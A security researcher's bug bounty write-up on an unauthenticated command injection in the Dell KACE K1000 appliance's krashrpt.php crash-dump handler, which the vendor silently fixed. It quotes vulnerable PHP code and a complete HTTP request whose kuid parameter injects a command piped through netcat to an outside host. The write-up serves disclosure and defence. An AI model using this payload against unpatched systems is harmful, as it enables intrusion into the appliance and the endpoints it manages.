Dell KACE K1000 Remote Code Execution - the Story of Bug K1-18652

4 minute read

This is the story of an unauthenticated RCE affecting one of Dropbox’s in scope vendors during last year’s H1-3120 event. It’s one of my more recon-intensive, yet simple, vulnerabilities, and it (probably) helped me to become MVH by the end of the day ;-).

TL;DR It’s all about an undisclosed but fixed bug in the KACE Systems Management Appliance internally tracked by the ID K1-18652 which allows an unauthenticated attacker to execute arbitrary code on the appliance. Since the main purpose of the appliance is to manage client endpoints - and you are able to deploy software packages to clients - I theoretically achieved RCE on all of the vendor’s clients. It turns out that Dell (the software is now maintained by Quest) have silently fixed this vulnerability with the release of version 6.4 SP3 (6.4.120822).

Recon is Key!

While doing recon for the in-scope assets during H1-3120, I came across an administrative panel of what looked like being a Dell Kace K1000 Administrator Interface:

While gathering some background information about this “Dell Kace K1000” system, I came across the very same software now being distributed by a company called “Quest Software Inc”, which was previously owned by Dell.

Interestingly, Quest does also offer a free trial of the KACE® Systems Management Appliance appliance. Unfortunately, the free trial only covers the latest version of the appliance (this is at the time of this post v9.0.270), which also looks completely different:

However, the version I’ve found on the target was 6.3.113397 according to the very chatty web application:

X-DellKACE-Appliance: k1000
X-DellKACE-Version: 6.3.113397
X-KBOX-Version: 6.3.113397

So there are at least 3 major versions between what I’ve found and what the current version is. Even trying to social engineer the Quest support to provide me with an older version did not work - apparently, I’m not a good social engineer ;-)

Recon is Key!!

At first I thought that both versions aren’t comparable at all, because codebases usually change heavily between multiple major versions, but I still decided to give it a try. I’ve set up a local testing environment with the latest version to poke around with it and understand what it is about. TBH at that point, I had very small expectations to find anything in the new version that can be applied to the old version. Apparently, I was wrong.

Recon is Key !!!11

While having a look at the source code of the appliance, I’ve stumbled upon a naughty little file called /service/krashrpt.php which is reachable without any authentication and which sole purpose is to handle crash dump files.

When reviewing the source code, I’ve found a quite interesting reference to a bug called K1-18652, which apparently was filed to prevent a path traversal issue through the parameters kuid and name ( $values is basically a reference to all parameters supplied either via GET or POST):

try {
    // K1-18652 make sure we escape names so we don't get extra path characters to do path traversal
    $kuid = basename($values['kuid']);
    $name = basename($values['name']);
} catch( Exception $e ) {
    KBLog( "Missing URL param: " . $e->getMessage() );

Later kuid and name are used to construct a zip file name:

$tmpFnBase = "krash_{$name}_{$kuid}";
$tmpDir = tempnam( KB_UPLOAD_DIR, $tmpFnBase );
unlink( $tmpDir );
$zipFn = $tmpDir . ".zip";

However, K1-18652 does not only introduce the basename call to prevent the path traversal, but also two escapeshellarg calls to prevent any arbitrary command injection through the $tmpDir and $zipFn strings:

// unzip the archive to a tmpDir, and delete the .zip file
// K1-18652 Escape the shell arguments to avoid remote execution from inputs
exec( "/usr/local/bin/unzip -d " . escapeshellarg($tmpDir) . " " . escapeshellarg($zipFn));
unlink( $zipFn );

Although escapeshellarg does not fully prevent command injections I haven’t found any working way to exploit it on the most recent version of K1000.

Using a new K1000 to exploit an old K1000

So K1-18652 addresses two potentially severe issues which have been fixed in the recent version. Out of pure curiosity, I decided to blindly try a common RCE payload against the old K1000 version assuming that the escapeshellarg calls haven’t been implemented for the kuid and name parameters in the older version at all:

POST /service/krashrpt.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=r8cnb8r3otq27vd14j7e0ahj24
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

kuid=`id | nc 53`

And guess what happened:

Awesome! This could afterwards be used to execute arbitrary code on all connected client systems because K1000 is an asset management system:

The KACE Systems Management Appliance (SMA) helps you accomplish these goals by automating complex administrative tasks and modernizing your unified endpoint management approach. This makes it possible for you to inventory all hardware and software, patch mission-critical applications and OS, reduce the risk of breach, and assure software license compliance. So you’re able to reduce systems management complexity and safeguard your vulnerable endpoints.

Source: Quest

Comment from the Vendor

Unfortunately, since I haven’t found any public references to the bug, the fix or an existing exploit, I’ve contacted Quest to get more details about the vulnerability and their security coordination process. Quest later told me that the fix was shipped by Dell with version 6.4 SP3 (6.4.120822), but that neither a public advisory has been published nor an explicit customer statement was made - so in other words: it was silently fixed.


If you find a random software in use, consider investing the time to set up an instance of the software locally and try to understand how it works and search for bugs. This works for me every, single time.

Thanks, Dropbox for the nice bounty!